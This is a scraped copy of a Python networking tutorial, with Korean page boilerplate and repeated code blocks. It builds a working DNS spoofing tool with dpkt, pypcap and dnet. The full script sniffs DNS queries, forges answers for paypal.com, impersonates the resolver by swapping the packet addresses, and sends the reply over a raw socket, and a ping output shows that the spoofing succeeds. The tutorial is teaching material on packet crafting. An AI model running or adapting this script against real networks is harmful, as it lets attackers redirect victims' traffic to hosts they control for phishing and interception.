dpkt Tutorial #3: DNS Spoofing
7653 단어 dns
dpkt Tutorial #3: DNS Spoofing
In our first and second dpkt tutorials, we looked at the simple construction and parsing of packets respectively. Our third tutorial combines both parsing and construction of packets in a single utility for performing DNS spoofing (a la dsniff’s dnsspoof).
In this tutorial, we’ll use dpkt to parse DNS requests observed on the wire and construct spoofed DNS responses to send back. We’ll also be using the dnet and pypcap libraries in this example. Since you’ve certainly read the first two tutorials before this one, we will assume you are familiar with the basic methods of parsing and constructing packets using dpkt.
One of the most common usages of dpkt is to parse packets off the wire, which pypcap makes easy. We’ll start off by setting pypcap’s BPF expression to “udp dst port 53″ since we only want to look at DNS queries and parse each of the packets handed to us using dpkt:pc = pcap.pcap()
pc.setfilter('udp dst port 53')
for ts, pkt in pc:
eth = dpkt.ethernet.Ethernet(pkt)
ip = eth.data
udp = ip.data
dns = dpkt.dns.DNS(udp.data)
Next, we need to perform some validation on the parsed DNS payload since we only want to spoof responses to legitimate DNS queries. In this next snippet, we ensure that the DNS payload is indeed a query, has a single RR in the question section, has no answer or nameserver RRs, and that the RR in the question section is for an A record and the IN class:if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
As seen from the above snippet, the dpkt DNS module parses the various sections of the DNS payload (qd, an, ns, ar) into python lists. This will come in handy later when constructing our response. In addition to validating the DNS payload, we only want to spoof responses for particular domains. In this case, we’ll only spoof responses for paypal.com:if dns.qd[0].name != 'paypal.com':
continue
Now that we’ve parsed and decoded the DNS query, we need to construct our spoofed response and send it back to the client. Instead of constructing a new packet from scratch, we can simply reuse the existing one and modify it appropriately. We start by setting the attributes of the DNS header indicating that it is a response:dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
Next, we need to create our fake RR that will be included in the answer section of the DNS response. We do this by creating an object of the type dpkt.dns.DNS.RR and filling in its attributes:arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
For the purposes of this tutorial, our spoofed answer RR will claim that paypal.com is at 127.0.0.1. We now need to add this newly created RR to the answer section of the DNS payload. Since dns.an is a python list, we can simply append the arr object to it:dns.an.append(arr)
If we print out the dns object, we can see the correct RRs in the question and answer sections:>>> print dns
DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)
Now that our DNS payload is complete, we must fix up the UDP and IP layers of our original packet. Since we’re reusing the existing packet and want to send the reply back to the client while acting like we’re the server, we can just swap the src/dst ports and addresses:udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
Next, we need to tack on our new DNS payload. We do this by assigning the dns object to the udp object’s data attribute. And since we’ve modified the length of the DNS payload, we need to update the length attributes of the UDP and IP layers appropriately:udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
We can take a look at our full payload containing the IP, UDP, and DNS payloads:>>> print ip
IP(src='\x8d\xd5\x04\x04', off=16384, dst='\x8d\xd4n\xa3', sum=3577, len=72,
p=17, id=40555, data=UDP(dport=49008, sum=36486, sport=53, ulen=52,
data=DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)))
Finally, we can checksum and send out the payload buffer through our raw socket:buf = dnet.ip_checksum(str(ip))
sock.send(buf)
That concludes this dpkt tutorial! When we run the DNS spoofing script and attempt to contact paypal.com, we see that it successfully spoofs the reply:[email protected] ~ $ ping paypal.com
PING paypal.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.022 ms
...
The full python script for this tutorial follows:#!/usr/bin/env python
import dnet, dpkt, pcap
sock = dnet.ip()
pc = pcap.pcap()
pc.setfilter('udp dst port 53')
for ts, pkt in pc:
# parse the packet
eth = dpkt.ethernet.Ethernet(pkt)
ip = eth.data
udp = ip.data
dns = dpkt.dns.DNS(udp.data)
# validate the DNS query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# only spoof for our target name
if dns.qd[0].name != 'paypal.com':
continue
# transform DNS query into response
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
# construct our fake answer RR
arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
dns.an.append(arr)
# fix up IP and UDP layers
udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
print `ip`
# send out spoofed response
buf = dnet.ip_checksum(str(ip))
sock.send(buf)
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
DNS 서버 정방향/역방향 목록 정리
AD의 머신 계정은 삭제해도 DNS 서버와 연동하지 않았는지, 쓰레기 정보가 모여 버렸다.
DNS 매니저로부터 쓰레기는 확인할 수 있지만, 너무 많아, GUI 조작에서는 전부 삭제는 곤란.
리스트 출력 ⇒ 명령으로 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.
pc = pcap.pcap()
pc.setfilter('udp dst port 53')
for ts, pkt in pc:
eth = dpkt.ethernet.Ethernet(pkt)
ip = eth.data
udp = ip.data
dns = dpkt.dns.DNS(udp.data)
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
if dns.qd[0].name != 'paypal.com':
continue
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
dns.an.append(arr)
>>> print dns
DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)
udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
>>> print ip
IP(src='\x8d\xd5\x04\x04', off=16384, dst='\x8d\xd4n\xa3', sum=3577, len=72,
p=17, id=40555, data=UDP(dport=49008, sum=36486, sport=53, ulen=52,
data=DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)))
buf = dnet.ip_checksum(str(ip))
sock.send(buf)
[email protected] ~ $ ping paypal.com
PING paypal.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.022 ms
...
#!/usr/bin/env python
import dnet, dpkt, pcap
sock = dnet.ip()
pc = pcap.pcap()
pc.setfilter('udp dst port 53')
for ts, pkt in pc:
# parse the packet
eth = dpkt.ethernet.Ethernet(pkt)
ip = eth.data
udp = ip.data
dns = dpkt.dns.DNS(udp.data)
# validate the DNS query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# only spoof for our target name
if dns.qd[0].name != 'paypal.com':
continue
# transform DNS query into response
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
# construct our fake answer RR
arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
dns.an.append(arr)
# fix up IP and UDP layers
udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
print `ip`
# send out spoofed response
buf = dnet.ip_checksum(str(ip))
sock.send(buf)
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
DNS 서버 정방향/역방향 목록 정리AD의 머신 계정은 삭제해도 DNS 서버와 연동하지 않았는지, 쓰레기 정보가 모여 버렸다. DNS 매니저로부터 쓰레기는 확인할 수 있지만, 너무 많아, GUI 조작에서는 전부 삭제는 곤란. 리스트 출력 ⇒ 명령으로 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.